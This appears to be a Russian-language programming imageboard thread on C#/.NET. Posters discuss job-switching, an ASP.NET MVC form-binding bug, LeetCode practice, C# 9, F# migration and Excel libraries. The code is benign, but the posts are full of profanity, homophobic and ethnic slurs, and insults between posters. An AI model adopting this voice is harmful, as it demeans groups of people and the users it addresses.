Но я дохуя молодой - после работы на которой не особо и устаю я еще спокойно свои проекты в стол кодю по 6-8 часов. Так есть такие варианты, в которых все официально, но по договору там или сдельно. И как их искать?

Но не фриланс, где надо дохуя времени просижывать на биржах в поисках удачи. А именно работать на одну фирму.

(я как-то спрашивал у одной hr - написала что нельзя, только увольяешься и идешь к ним на собес. по другому никак)
Аноним 26/08/20 Срд 07:35:45 17883151300
>>1788272
> увольняешься
> и идешь на собес
> по другому никак
Хахахахаха, блядь, вот кора. Не иди туда анон, вбрось эту херку в тред
Аноним 26/08/20 Срд 08:39:34 17883291301
>>1788272
Во время отпуска идешь на собесы, либо берешь больничный и идешь по собесам.
Аноним 26/08/20 Срд 09:47:50 17884091302
>>1788329
Вопрос в другом. Как не пролететь (да, я пессимист).

Ведь даже если я пройду собес, ни разу не означает что я не вылечу на первом испытательном месяце и останусь вообще ни с чем и без денег.
Аноним 26/08/20 Срд 09:50:30 17884141303
Я просто хочу хотя бы 2-3 месяца поработать, чтобы уж точно было понятно что я подхожу и никто не выпнет, и можно увольняться с текущей и переходить на новую...

Хотя увольнение - тоже проблема, я должен найти сменщика и обучить его (и не собираюсь никого кидать), то есть увольнение займет еще год - я должен иметь гарантию что через год я не окажусь на улице из-за того что "не тяну или не программист"
Аноним 26/08/20 Срд 10:31:07 17884561304
>>1788409
>>1788414
>Как не пролететь
Быть хорошим специалистом, очевидно.
>(да, я пессимист)
Ты еще даже проходить не начал собес, а уже говоришь о том, что будешь работать несколько месяцев и не подойдешь. Пессимизмом тут и не пахнет.
> я должен найти сменщика и обучить его
В своей шаражке может и должен, в нормальных компаниях ты просто предупреждаешь заранее и уходишь через 2 недели.

В общем, если ты сомневаешься, значит тебе недостаточно профессиональных навыков. Прокачивай их и проблем с устройством на работу не будет. А для того чтобы быть готовым к собесу, достаточно решать 1-2 задачи с литкода уровня медиум каждый день.
Аноним 26/08/20 Срд 17:14:10 17888881305
Помогите, плес.
Есть вьюмодел:

public class AdminVoteViewModel
{
[Required]
[Display(Name = "Название голосования")]
public string NameVote { get; set; }
[Required]
[Display(Name = "Варианты ответов")]
public string[] Answers { get; set; }
[Required]
[Display(Name = "Название компании")]
public int CompanyId { get; set; }

[Display(Name = "Название компании")]
public IEnumerable<SelectListItem> Companies { get; set; }
[Required]
[Display(Name = "Участники, не принимающие участие в голосовании")]
public string[] SelectedUserEmails { get; set; }

[Display(Name = "Список участников голосования")]
public IEnumerable<SelectListItem> UserEmails { get; set; }
[Required]
[Display(Name = "Куратор")]
public string CuratorEmail { get; set; }
[Display(Name = "Список кураторов")]
public IEnumerable<SelectListItem> CuratorEmails { get; set; }
}

Есть два метода Create на гет и пост:

public ActionResult CreateVote()
{

AdminVoteViewModel model = new AdminVoteViewModel();
var usersKomitee = db.Users.Where(x => x.IsHR == true).Select(
x => new UserViewModel
{
Email = x.Email,
FullName = x.FullName
}
);
var usersCurator = db.Users.Where(x => x.IsCurator == true).Select(
x => new UserViewModel
{
Email = x.Email,
FullName = x.FullName
}
);

model.Companies = new SelectList(db.Companies, "Id", "Name");


model.UserEmails = new MultiSelectList(usersKomitee, "Email", "FullName");

model.CuratorEmails = new SelectList(usersCurator, "Email", "FullName");

return View(model);

}

Вот вью:

@using (Html.BeginForm())
{
@Html.AntiForgeryToken()

<div class="form-horizontal">
<h4>AdminVoteViewModel</h4>
<hr />
@Html.ValidationSummary(true, "", new { @class = "text-danger" })
<div class="form-group">
@Html.LabelFor(Model => Model.NameVote, htmlAttributes: new { @class = "control-label col-md-2" })
<div class="col-md-10">
@Html.EditorFor(Model => Model.NameVote, new { htmlAttributes = new { @class = "form-control" } })
@Html.ValidationMessageFor(Model => Model.NameVote, "", new { @class = "text-danger" })
</div>
</div>

<div class="form-group">
@Html.LabelFor(Model => Model.Answers, htmlAttributes: new { @class = "control-label col-md-2" })
<div class="col-md-10">
<div id="answers-block">
@Html.Editor("Model.Answers[0]", new { htmlAttributes = new { @class = "form-control" } })
@Html.Editor("Model.Answers[1]", new { htmlAttributes = new { @class = "form-control" } })
@Html.Editor("Model.Answers[2]", new { htmlAttributes = new { @class = "form-control" } })
</div>
<p><a class="add-answer-Link">Добавить новый элемент</a></p>


<!--@Html.EditorFor(Model => Model.Answers, new { htmlAttributes = new { @class = "form-control" } })-->
@Html.ValidationMessageFor(Model => Model.Answers, "", new { @class = "text-danger" })
</div>
</div>


<div class="form-group">
@Html.LabelFor(model => model.CompanyId, htmlAttributes: new { @class = "control-label col-md-2" })
<div class="col-md-10">
@Html.DropDownListFor(model => model.CompanyId, Model.Companies, new { @class = "form-control" })
@Html.ValidationMessageFor(model => model.CompanyId, "", new { @class = "text-danger" })
</div>
</div>

<div class="form-group">
@Html.LabelFor(model => model.CuratorEmail, htmlAttributes: new { @class = "control-label col-md-2" })
<div class="col-md-10">
@Html.DropDownListFor(model => model.CuratorEmail, Model.CuratorEmails, new { @class = "form-control" })
@Html.ValidationMessageFor(model => model.CuratorEmail, "", new { @class = "text-danger" })
</div>
</div>

<div class="form-group">
@Html.LabelFor(model => model.SelectedUserEmails, htmlAttributes: new { @class = "control-label col-md-2" })
<div class="col-md-10">
@Html.ListBoxFor(model => model.SelectedUserEmails, Model.UserEmails, new { @class = "form-control" })
@Html.ValidationMessageFor(model => model.SelectedUserEmails, "", new { @class = "text-danger" })
</div>
</div>


<div class="form-group">
<div class="col-md-offset-2 col-md-10">
<input type="submit" value="Create" class="btn btn-default" />
</div>
</div>
</div>


Не передается модель из вью в контроллер по пост запросу. Чего не так, не понимаю?
Аноним 26/08/20 Срд 17:40:41 17889171306
>>1788888
Html.BeginForm("CreateVote", "имя твоего контроллера", FormMethod.Post)
Аноним 26/08/20 Срд 17:42:38 17889201307
>>1788272
Я ещё ни в одной конторе больше 1.5 лет не отработал за 15 лет карьеры. За прошлый год 3 работы сменил и каждый раз с повышением зп. Правда я не в мухосрани живу. Но сейчас проще, чем когда-либо, найти работу удалённо.
Связываешься с работодателем, созваниваетесь, болтаете 30-60 минут вне твоего рабочего времени. Если всё устраивает - тест или онлайн или сразу в офис. С работы можно отпроситься по личным делам на пол дня. Тест онлайн можно и вечером сделать.
Если получил офер и он тебя устраивает, то на прошлой даёшь 2-4 недели окно, в течении которого обещаешь помочь задокументировать и переложить задачи на коллег и вперёд к новым свершениям!
Аноним 26/08/20 Срд 18:03:24 17889431308
Аноним 26/08/20 Срд 18:03:55 17889441309
Аноним 26/08/20 Срд 19:24:38 17890041310
>>1782170
вообще верный ответ первый так то а не 3
Аноним 26/08/20 Срд 19:43:01 17890101311
>>1788414
Ебать ты ржаной-гречневый
Аноним 27/08/20 Чтв 03:06:31 17892511312
>>1788456
>Прокачивай их и проблем
И как их прокачивать не работая над реальными задачами в реальных конторах? Я могу решить почти любую задачу, но за мое решение меня наверняка сразу же погонят (эх, вот были времена в девяностые и нулевые, когда можно было хуяк-хуяк и при этом рубить большие деньги. Без всего этого новомодного бреда.. (иногда посматриваю исходники древнего софта выкинутые в опенсурс - да сейчас за такой код даже на джуна не возьмут))
Аноним 27/08/20 Чтв 03:11:23 17892531313
>>1788920
Я забыл сказать, что у меня +10 часовой пояс, то есть в любом случае с московским регионом я могу работать только к вечеру и ночью. Поэтому и спрашиваю про возможность работать и на текущей (утром) и на новой удаленно
Аноним 27/08/20 Чтв 03:42:59 17892571314
перекат кто-нибудь сделает?
Аноним 27/08/20 Чтв 06:46:34 17893021315
Аноним 27/08/20 Чтв 09:01:01 17893301316
>>1789302
да, точнее ниже хабара
Аноним 27/08/20 Чтв 09:42:55 17893541317
изображение.png 13Кб, 291x582
291x582
Мда. А у вас бывает такое, когда знаешь как правильно, но все равно пишешь вот такое говно?

Я знаю как строку перевести в число, но почему-то быстрее было настрочить такое.
Аноним 27/08/20 Чтв 12:40:44 17895811318
>>1789257
зачем? Все равно этот мертвый язык 3 калеки учит
Аноним 27/08/20 Чтв 13:04:35 17896231319
image.png 140Кб, 638x479
638x479
>>1789354
Возможно и проще, но потом работать с этим кодом уже будет намного сложнее, чем просто можно было написать нормально. Главное потом не полениться, и переписать это говно, а то семья того чела, который это прочитал может подать в суд за доведения человека до роскомнадзора.
Аноним 27/08/20 Чтв 15:54:23 17899041320
>>1789330
Уссурийск и Владивосток нифига не зажопинск. Я сам из Влада.
Аноним 27/08/20 Чтв 15:57:17 17899131321
>>1789354
int.Parse(n.NM) явно быстрее
ещё есть TryParse()
Аноним 27/08/20 Чтв 16:52:23 17900381322
>>1789251
>И как их прокачивать не работая над реальными задачами в реальных конторах?

Никто не мешает работать над своими проектами и писать в них хороший код. Постоянно освежаешь знания по теории, следишь за нововведениями, также открываешь исходники готовых проектов от хороших разработчиков, изучаешь структуру кода и пытаешься её повторить в своих проектах. Самое сложное это заставить себя работать, поборов лень.
Аноним 27/08/20 Чтв 18:20:16 17901441323
>>1790038
Ну вообще он говорил что работает над своими проектами по 8 часов после работы. Так что явно не ленивый. Проблема самоучек в том, что не знаешь как фильтровать инфу, которой в инете много. А еще дофига "лже пророков" развелось. Насмотришься костылей и пойдешь повторять то же самое в своих проектах, думая что прозрел.

В случае с дотнетом МС за последние 3 года проделали классную работу по структуризации инфы и созданию гайдов того как надо и не надо делать + куча примеров на гитхабе - https://dotnet.microsoft.com/learn
Поэтому прежде чем верить какому-нибудь джамшуту на просторах сети надо сначала официальные гайды пройти.

https://leetcode.com - тут надо проводить по несколько часов в неделю любому уважающему себя программисту. А то развелось кретинов, которые утверждают что знание базовых алгоритмов, структур данных и как считать big O нужны только байтоёбам. И про DFS/BFS только в универе краем уха слышали. Зато потом получаем приложения, которые обычные запросы отрабатывают вместо 2 мс за 10-30 секунд и думают что это норма.
Аноним 27/08/20 Чтв 19:32:52 17901911324
>>1790144
>Ну вообще он говорил что работает над своими проектами по 8 часов после работы.
>он

Не у всех есть модерка, которая позволяет различать посты одного человека.

>Насмотришься костылей и пойдешь повторять то же самое в своих проектах, думая что прозрел.

Поэтому и нужно смотреть не пророков, а реальные проекты. Мне например помогли понять ООП организацию кода .net исходники.

>тут надо проводить по несколько часов в неделю

Достаточно решать 1-2 задачи уровня медиум в день. Часы проводить на этом сайте смысла особого нет, потому что для олимпиадного программирования есть другие сайты, а для работы эти задачи полезны только в плане прохождения собеседования.
Иногда это даже вредно, потому что многие новички начинают экономить на спичках и заниматься преждевременной оптимизацией, в то время как от них требуется написание кода, который поймут другие, а не подсчет наносекунд его выполнения.
Аноним 27/08/20 Чтв 19:42:20 17902021325
>>1790191
У тех, кто алгоритмов в принципе не знает, будут уходить часы на easy задачки. 1-2 medium задачи в день будут выходить в 40 часов в неделю. Поэтому "несколько часов в неделю" для начала очень даже по божески.
Аноним 27/08/20 Чтв 19:59:58 17902221326
>>1790202
Так речь шла уже о работающем аноне, а не новичке-вкатуне. У новичка может и день на медиум задачу уйти, потому что он думает, что подсматривать в ответ нельзя.
Аноним 27/08/20 Чтв 20:02:53 17902271327
>>1790191
Да, решать задачки спортивно, не особо думая о том, для чего ты это делаешь - вредно. Основной бонус зависания на литкоде - это изучение основ:
Data structures
HashMap (Dictionary), HashSet (и вообще понимание того что такое hash и нафига он нужен), arrays, stack, queue, linkedlist (наименее напрямую используемая структура, однако она под капотом каждодневно используемых системных и не очень классов), tree.
Algorithms (операции над структурами данных)
Traverse, find, add, insert, delete.

Особенно полезно всяким жавасриптерам, которые абьюзят свой дофига "магический" array.

Прохождение собеседований - это полезный бонус. Если компания пытается мимикрировать под какой-нибудь гугл, и делает это отвратительно - это не значит что такой подход к собеседованию - гамно, и не имеет практической цели.
Аноним 27/08/20 Чтв 20:09:08 17902371328
>>1790222
Вокруг вас какие-то гениальные разработчики собались. Многие "сеньёры" с 10-20 летним опытом вот эту задачу будут целый день (а то и несколько дней, что вероятнее всего) решать https://leetcode.com/problems/longest-substring-without-repeating-characters/

Но когда ты сам себе судья, то скорее всего быстренько нагуглишь пару решений, подгонишь под себя и будешь гордиться тем, что решил задачу за час. Знаний, правда, не прибавится.
Аноним 27/08/20 Чтв 23:10:05 17903811329
>>1787415
> Зачем мне подавлять предупреждения о том, что есть говно не нужно. то я ожидаю, что хочу есть говно, потому что иначе в в жизи нет смысла;
Аноним 28/08/20 Птн 00:25:13 17904321330
>>1789581
1)Что ты тогда забыл здесь?
2)Почему мертвый?
3)Какой заменит его?
Аноним 28/08/20 Птн 00:28:46 17904351331
>>1790237
> опытом вот эту задачу будут целый день (а то и несколько дней, что вероятнее всего) решать

Там даже ограничений на время выполнения нет, какой нахуй день? Эту задачу брутфорсом любой вкатун решит максимум за час.
Аноним 28/08/20 Птн 00:29:36 17904361332
>>1790381
>этот невнятный всхлип обосравшейся маньки

Ничего, в следующий раз будешь думать перед тем как высерать в тред своё мнение.
Аноним 28/08/20 Птн 00:32:54 17904381333
>>1790435
Смешно, у тебя там какие-то супер вкатуны.
Аноним 28/08/20 Птн 00:35:18 17904401334
>>1790237
И да, вот это:
>Но когда ты сам себе судья, то скорее всего быстренько нагуглишь пару решений, подгонишь под себя и будешь гордиться тем, что решил задачу за час. Знаний, правда, не прибавится.

Типичное заблуждение вкатывальщиков или просто глупых людей. Нет смысла сидеть над задачей если у тебя в решении нет никакого прогресса. И решение не нужно гуглить, оно есть к большинству задач и его можно посмотреть сразу, в них также есть пояснения и описание использованного алгоритма. Вот когда ты поймешь решение, а не перепишешь его, тогда ты и получишь пользу. После чего через несколько дней можно вернуться к задаче и решить её самостоятельно.
Аноним 28/08/20 Птн 00:51:30 17904511335
>>1727560
Ты просто жопу мучаешь, пытаясь сделать эту хуйню через EF. Хуйни процедуру и не еби мозги. Вызовешь процедуру, получишь результат. Изи. Ошибка у тебя в том, что LINQ to Entities не может в Select=>Except(Select). Типо ты мешаешь линк классический с линком, который преобразуется в iqueryable. Есть варианты сделать так, чтобы это говно работало, но оно того не стоит.
Аноним 28/08/20 Птн 00:55:22 17904541336
>>1790440
Смысл был в том что ваш сеньор перепишет, не поняв решение, и не получит пользу. И даже на переписку этот самый сеньор может целый день затратить, а потом в итоге забить, сказав что он в детские игры не играет.
Я многим сеньорам за несколько лет оттуда простые задачки подкидывал. Решение было сделано либо через несколько дней, либо никогда.
Аноним 28/08/20 Птн 01:06:18 17904551337
>>1734669
> то видно что в ответ сайт присылает нужный мне json
Кидай через любой REST-клиент такой же запрос как и сайт, получай свой json и работай уже с ним.
Аноним 28/08/20 Птн 01:08:31 17904571338
Аноним 28/08/20 Птн 01:18:03 17904651339
>>1737220
> Публичный класс <see cref="MyClass />, реализующий интерфейсы <see cref="ICommentable"/> и <see cref="IUnnecessary"/>
> public сlass MyClass : ICommentable, IUnnecessary
Капитан очевидность? Сюда надо писать зачем нужен твой MyClass и что он делает.
Аноним 28/08/20 Птн 01:32:28 17904771340
>>1790465
>>1790457
>>1790455
Ты зачем некропостишь? За 2 месяца те чуваки уже забыли что спрашивали.
Аноним 28/08/20 Птн 01:39:56 17904811341
>>1740196
> Если работать с этой строкой используя стандартный split, то он не будет останавливаться на 6 элементе, он будет сплитить тебе всю строку
Похуй.

мимосеньор
Аноним 28/08/20 Птн 01:45:42 17904871342
>>1742963
Какие же плюсы блевотные.
Аноним 28/08/20 Птн 01:48:15 17904901343
Аноним 28/08/20 Птн 01:49:09 17904911344
>>1746114
Знакомый, который учил котлин теперь работает в супермаркете грузчиком.
Аноним 28/08/20 Птн 01:53:23 17904941345
>>1749286
У тебя класс не правильно называется, убери s.
Бтв.
public User GetById(int userId)
{
using var context = new Zalupa();
return context.Users.FirstOrDefault(x => x.Id == userId);
}
Аноним 28/08/20 Птн 01:58:19 17905001346
>>1753823
Создавай на форме через инициализацию динамически чекбоксы, помещая их в массив. Профет.
Аноним 28/08/20 Птн 02:44:37 17905071347
>>1789623
>но потом работать с этим кодом уже будет намного сложнее,
А потом рефакторинг. Я могу себе его позволить, и постоянно делаю - сначала быстро наговнокодить (при этом быстро, это не обязательно как>>1789913, а как руки набили). А потом все это почистить
Аноним 28/08/20 Птн 05:29:15 17905451348
Подскажите что заюзать - пишу на .net core 3.1

нужно - выгружать данные в excel (при этом обязательно в 2010)
Сначала нагуглил Interop.Excel - но он не работает с .net core 3.1 (пишет предупреждение что надо net framework, плюс вылетает ошибка что не найдено приложение. пробовал все версии)

Сейчас заюзал EPPlus, либа понравилась, но мне не нравится платная лицензия. Старая версия с GPL также не подходит - я не могу выкладывать в опенсурс. При этом софтина для коммерческих задач.

Писать свой парсер тоже не вариант, не до велосипеда, да и требования там сложные, нужна готовая либа.



Ну и второй вопрос - что там можно заюзать чтобы строить красивые графики в WPF?
(а да, либа по работе с Excel тоже должна уметь строить графики по данным)
Аноним 28/08/20 Птн 08:03:22 17906011349
>>1727560
Хуйнёй ты начал заниматься в тот момент когда начал вводить переменную freeId, если тебе нужен порядок в следовании, то вводи новое поле/свойство всех объектов в бд и веди внутренний счетчик, который будет увеличиваться/уменьшаться по мере добавления записей в базу данных.
Аноним 28/08/20 Птн 08:45:32 17906071350
image.png 33Кб, 778x596
778x596
мум. Даже не знаю как к этому относится. Кто не понял и все проспал - это полностью рабочий код в С# 9.
Не кусок кода, а весь код. Да, без классов, неймспейсов, и даже без Main.

Ну как во всяких там питонах (а еще вернете как было в старом добром бейсике) - просто садишься и ебашишь инструкции без всякого ооп
Аноним 28/08/20 Птн 11:42:22 17907881351
>>1790607
Как возможности быстро писать программы-утилиты, в которых ооп и не нужен.
Аноним 28/08/20 Птн 15:46:45 17911111352
>>1724425 (OP)
Cап,
можно ли просто взять и поменять Target framework проекта c 2.0 на версию 4?
Проблема в том что в текущей версии нет нужных мне refernces, а в 4 они есть.
Аноним 28/08/20 Птн 16:23:26 17911361353
>>1791111
Поменял, но visual studio всё равно не видит нужный реферс хоть он и добавлен.
Аноним 28/08/20 Птн 16:42:32 17911521354
Аноним 28/08/20 Птн 16:57:59 17911801355
>>1790507
Ты на каких-то сказочных проектах работаешь. В нормальном проде бизнесу всегда нужно всё вчера и много времени на Tech Debt выделять никто не станет. Если ты сейчас накостыляешь, а потом ещё немного, а потом дедлайн и ещё костылей и говна для заплаток надо принести. И вот через пару лет проект проще выкинуть и начать заново, чем в этом месиве жить.
Вообще когда пишешь код, надо помнить о Теории разбитых окон https://ru.wikipedia.org/wiki/Теория_разбитых_окон

Если у тебя в коде бардак, то очень легко добавить ещё немного мусора, потому что "ну тут же и так уже грязно, подумаешь ещё один фантик брошу". А потом приходит свеженанятый разраб и такой "это надо всё на помойку и начинать писать с нуля".
Аноним 28/08/20 Птн 17:02:01 17911831356
>>1791180
Так поэтому и делают говнокод, потому что бизнесу всё вчера нужно, ты всё правильно написал. Пока ты там продумыввешь архитектуру, ушлый программист-кабанчик выпускает говнокод в прод, получает повышение и становится тимлидом в другом месте, а тебя называют халтурщиком, который вместо работы тянет время, неся бред про проектирование, поддерживаемость и TDD.
Аноним 28/08/20 Птн 17:54:19 17912321357
>>1790432
1. Подписался хуй его знает когда (еще в начале лета)
2. Upwork/HH/Freelacer.com, почитай посты студентоты, посмотри тенденции роста и актуальность на рынке
3. Смотри ответ на 2 вопрос, исключи текущий тред
Аноним 28/08/20 Птн 19:54:46 17913691358
>>1791232
Рост создаёт кто? Мы!
Если ты пойдёшь в жавапидоры, то работодателю ничего не останется, как менять ориентацию и начинать долбиться в жопу и пить смузи.
Аноним 28/08/20 Птн 22:03:31 17915031359
>>1791232
ну вот простой пример, друг в мск учиться, перешел на 2 курс, работает на полставки в какой-то компании имеет 40к, работа есть, язык не вымрет однозначно, тем более когда готовиться выход .net 5.0
Аноним 29/08/20 Суб 00:12:38 17915751360
Вечер добрый.

Работаю миддлом, поставлен на проект по интеграции энтерпайзной системы с различным географическими платформами. Де-факто, я работаю один, проект разбросан на несколько языков C++/C#/Python; ядро написано на шарпе.

Собственно, у меня полный контроль над проектом; те, кто работал над этим проектом передо мной либо сломали свои копья и поспешили убраться, либо уже умерли. C#/Python части полностью написаны мной, и даже Аллах не знает, как оно работает кроме меня конечно.

В общем, я сам заднеприводный ОКамлщик по зову сердца, и тут пришла идея в голову, что зачем мне вся эта грязь, весь этот бойлерплейт, вот эти все игрушки дела, когда у Microsoft есть F#, что есть тот же ML и хватит мне как чернь в болоте копаться.

Ядро системы абстрактно и де-факто изолировано от всего быдла энтерпрайзного, кроме того, что часть идёт в COM Component Object Model, но в целом ядро состоит исключительно из логики и различных манипуляций с данными, соответсвенно функциональщина тут в самый раз.

Допустим тимлида я наебал уговорил на осуществление мною перехода на F#, какие подводные о которых надо знать в 2к20 о переписывании с C# на F#?
Аноним 29/08/20 Суб 00:40:53 17915931361
>>1791575
Никаких, переходи, вообще пофиг как функциональный код клепать. На C# тоже теперь можно функционально изъясняться.
Аноним 29/08/20 Суб 05:27:58 17916581362
>>1791575
F# не развивается так быстро как C#, и более ограничен. А самый большой камень это добавление 4го языка. Но понятно что тебе просто заняться нечем и похуй на судьбу проекта.
Аноним 29/08/20 Суб 12:30:34 17917701363
Ребятки я чет туплю.
Смотрите, есть один протокол. Упрощенную версию я накидал тут https://ideone.com/miGWUf
Вот. В нем есть классы объектов. У объектов есть атрибуты. У атрибутов есть значения и тип атрибута. Типы довольно примитивные: число, бинарная строка, строка, массив, структура, время. Вот.
Я взял библиотеку которая этот протокол реализует. Ну и в ней значение атрибута хранится в виде строки. При этом сложные типы(массивы, структуры) хранятся в виде xml. Так вот, я хочу для своего решения сделать конвертацию к типам .net'а,
и я реально что-то туплю как сделать конвертацию не зная какой тип я ожидаю. Хочется следующего: Добавить метод расширения для ProtocolObject в виде GetAttributeValue(this ProtocolObject @object, int index), и получать оттуда уже нормальное значение(время, массив или что-то еще), но как это сделать не совсем понимаю. Типа если я сделаю этот метод дженериком - я должен буду знать какой тип хочу получить, что неприкольно, если я буду возвращать object - опять же будет необходимо приводить это к .net типам из вне. А как тогда нормально-то сделать?
Аноним 30/08/20 Вск 01:41:10 17923571364
20200305031119.jpg 68Кб, 421x574
421x574
>>1791770
Возвращаешь объект в зависимости от аргумента. А там где его нужно использовать узнаешь его тип через GetType().Name и кастишь уже к нужному типу.
Аноним 30/08/20 Вск 03:16:26 17923831365
Аноны, а сколько времени на вкат с нуля надо? И в какую область быстрее всего выйдет? Бэкэнд получается же?
Аноним 30/08/20 Вск 16:42:31 17927791366
>17. Что еще нужно знать, чтобы взяли работать за еду?
- SQL - подойдет люая книг по MSSQL/MySQL, базовые запросы, SELECT, INSERT, DELETE, UPDATE. Джойны, индексы, нормализация. В контексте шарпа еще ORM: Entity Framework, Dapper

Где лучше всего по быстрому изучить SQL? Какие-то может быть курсы от msft есть?
Закончил магистратуру и нужно срочно искать работу прогером c#, а про эту шляпу впервые слышу.
Аноним 30/08/20 Вск 17:53:00 17928301367
>>1792383
> Аноны, а сколько времени на вкат с нуля надо
Неделя

> И в какую область быстрее всего выйдет?
Embedded
Аноним 30/08/20 Вск 18:00:35 17928371368
>>1792779
Технология древняя, если тебе недостаточно ресурсов в интернете, значит вкатываться тебе не в шарп нужно, а на кассу/курьером
Аноним 30/08/20 Вск 18:10:50 17928431369
>>1792830
Ты хочешь сказать, что за неделю дроча можно найти первую работу или стажировку C# прогером?
Аноним 30/08/20 Вск 18:14:32 17928441370
>>1792843
Сестра прошла недельный курс на java и сразу устроилась за 60к. Образование у нее вообще гуманитарное. Сейчас 100к получает.
А я семь лет в универе по технической специальности с многолетним опытом писания на c# пока ни дня не работал.

Просто мимо проходил
Аноним 30/08/20 Вск 18:55:56 17928831371
>>1792844
Я за лето жавараша вкатился. Это был 2014 год, днём я работал в магните, а по вечерам осваивал жабу.
По образованию - бакалавр туризма.
Аноним 30/08/20 Вск 19:15:05 17929101372
Как думаете, у .NET 5+ есть будущее? Или никому уже кросс-платформенность и мобильность от шарпа не нужна, запоздали?
Аноним 30/08/20 Вск 20:36:38 17930001373
>>1792910
Нуууу, если про прям мейнстрим или всякие стартапы - не нужно.
Но вот я работаю на заводе который делает умные девайсы и тут начали кору пихать в эти самые девайсы, и охуенно оно там живет, разработка упростилась в разы, тестирование и прочее тоже. В общем, есть те кому эта кроссаплатформенность оч сильно зашла, потому что конкуренты тоже пихают сейчас кору в свои девайсы. Вот.
Аноним 30/08/20 Вск 22:49:40 17930931374
>>1790494
нет ту все правильно
Аноним 31/08/20 Пнд 03:12:04 17933231375
>>1792910
Он подтянется в Unity, Godot, CryEngine. И его пропихивают через Azure, у которого сейчас дела сильно в гору идут. Amazon себя за хвост от зависти кусает. В винде дотнет будет по умолчанию, т.е. не надо будет никаких других веб серваков и языков устанавливать - бери и делай. Powershell (каждый второй сисадмин и многие девопсы его используют) теперь на дотнет коре работает.
Аноним 31/08/20 Пнд 03:20:39 17933241376
image.png 33Кб, 586x375
586x375
image.png 211Кб, 1768x534
1768x534
>>1792910
Даже Гугл и Амазон делают поддержку для своих основных тулзяк под дотнет. У Аманазона вообще есть внутренняя дотнет команда, которые вот эту штуку запилили https://aws.amazon.com/about-aws/whats-new/2020/07/introducing-porting-assistance-for-net-analytic-tool-migrate-net-framework-net-core/
Мы её уже на одном и старых приложений опробовали.
Аноним 31/08/20 Пнд 08:31:42 17933791377
Как сделать чтобы в дебаге выводило консоль, а в релизе нет?

В с++ это делается легко - в настройках дебага ставлю систему console. в релизе - windows

В С# такого не нашел. В свойствах проекта можно выбрать Console Application, но оно будет и для дебага и для релиза. А постоянно руками переводить уныло

Можно же через код?.. Через System.Console? а то ничего не нашел
Аноним 31/08/20 Пнд 10:49:18 17934751378
>>1793379
На полях добавляешь #if DEBUG, пишешь вывод в консоль и на полях пишешь #endif
Аноним 31/08/20 Пнд 13:27:36 17936231379
Аноны, как в Visual studio создать package?
Есть ли нечто подобные как в эклипсе (жава)?
Аноним 31/08/20 Пнд 14:47:58 17937111380
>>1791503
>друг
>на полставки в какой-то компании имеет 40к
>готовиться выход .net 5.0
а потом ты проснулся и вспомнил, что все откомпилированно в MSIL и обращенно все в говно, рыбы, водоросли, медузы, все из говна, даже небо, даже Аллах!.
Аноним 31/08/20 Пнд 17:55:51 17939751381
Ну перекатите тхред уже, а то джависты уже думают что шарп сдох
Аноним 31/08/20 Пнд 18:07:13 17939871382
>>1793975
Можно добить до 1999 и 2000 постом сделать перекот.
Аноним 31/08/20 Пнд 19:36:41 17940751383
Как вкатиться в шарп? Сейчас я фронтенд-манки средней руки, но каждый день перед сном мечтаю о бекенде.
Аноним 31/08/20 Пнд 21:04:40 17941231384
>>1793975
то, что мертво умереть не может
Аноним 31/08/20 Пнд 22:04:52 17941831385
image.png 36Кб, 1102x472
1102x472
Аноним 01/09/20 Втр 00:49:42 17942711386
>>1794183
А сколько времени на вкат с нуля нужно? Если я полный ноль теоретический. Под вкатом подразумеваю первую работёнку

Мимокрок
Аноним 01/09/20 Втр 01:11:26 17942781387
>>1794271
На любого программиста надо года два сидеть учиться и проектики делать, чтобы понять что к чему. Главное вообще понять что такое код. А дальше хоть шарп, хоть жава, хоть какая-то надстройка, типа фреймворка - всё будет легче даваться, потому что принцип везде один.
Аноним 01/09/20 Втр 03:59:00 17943381388
>>1793475
ты не понял, я не про то как в дебаге писать. Я спрашивал как вывести окно консоли
Аноним 01/09/20 Втр 04:02:21 17943391389
>>1794123
>то, что мертво умереть не может
- "но восстает вновь, сильнее и крепче, чем прежде"

Всегда поражали дауны, которые цитируют эту фразу не понимая что она значит, и не зная что это только часть фразы (вторая часть выше).
Аноним 01/09/20 Втр 04:05:20 17943401390
image.png 36Кб, 1311x621
1311x621
Спрошу еще раз, как сделать чтобы вот это черное окно консоли выводилось только в дебаге - при этом автоматически.
В настройках проекта я не могу его включить только для дебага. А постоянно переключать надоело.

В С++ это легко делается
Аноним 01/09/20 Втр 04:32:51 17943511391
>>1794340
пинвоком вызываешь AttachConsole из kernel32.dll, чтобы только дебаге было используешь конструкцию #if DEBUG #endif
Аноним 01/09/20 Втр 10:21:59 17944951392
>>1794339
задрот GOT в треде, срочно прячьте своих дочерей

По сабжу - какие либы в MVC (Razor) можно прикрутить типо Material Ui или Ant?
И да, зачем в 2к20 при дефолтном создании проекта комплектуется Bootstrap и jQuery? Это шутка от мелкософта?
Аноним 01/09/20 Втр 14:44:25 17948041393
2.png 76Кб, 1068x684
1068x684
Может кто-то, пожалуйста, объяснить что к чему

Я создаю .NET Standard 2.0 библотеку к ней подключаю nuget пакет
Например, Mailkit https://www.nuget.org/packages/MailKit/
Я собираю и не вижу библиотек Mailkit в папке с собранной библиотекой
Нагуглил что если просписать в проекте
<AppendTargetFrameworkToOutputPath>false</AppendTargetFrameworkToOutputPath>
<CopyLocalLockFileAssemblies>true</CopyLocalLockFileAssemblies>

Первое убирает создание папки netstandard2.0
Второе таки копирует библиотеки которые попали из нюгета, но вместе с этим в папку попадает пачка системных библиотек
В итоге получаю такую картину(пикрелейтед)

Почему так происходит?
И нужны ли эти библиотеки если они и так вроде как в нет фреймворк входят который установлен на машине
Аноним 01/09/20 Втр 16:03:57 17948831394
>>1794495
>Bootstrap и jQuery
Это старый темплейт, который кочует из версии в версию. Фронт должен быть отдельно (имеется ввиду static files - js + css). Html можно и через Razor Pages запилить.
Material Ui и Ant - это фронт, соответственно бери свои js + css и пили как хочешь.
Аноним 01/09/20 Втр 17:55:55 17949851395
>>1794883
>Фронт должен быть отдельно
Я не про WebApi, а про этот сраный болейрплейт от мелкософтов под одним копотом, ака MVC. Если все нужные мне либы закинуть в wwwroot эта каша скомпилируется потом? И как тогда проброс делать из контроллера, если это будет не Razor page?
Аноним 01/09/20 Втр 18:34:13 17950111396
>>1794985
Причём тут WebApi??

У МС есть несколько темплейтов для создания веб проекта. Есть древние и один из них до сих пор используется для создания MVC проекта. Никто тебя не заставляет создавать своё приложение через этот темплейт. Можешь вообще все до единого файла в блокноте написать. Там кода строк 50 чтобы новый полностью рабочий веб проект запустить.

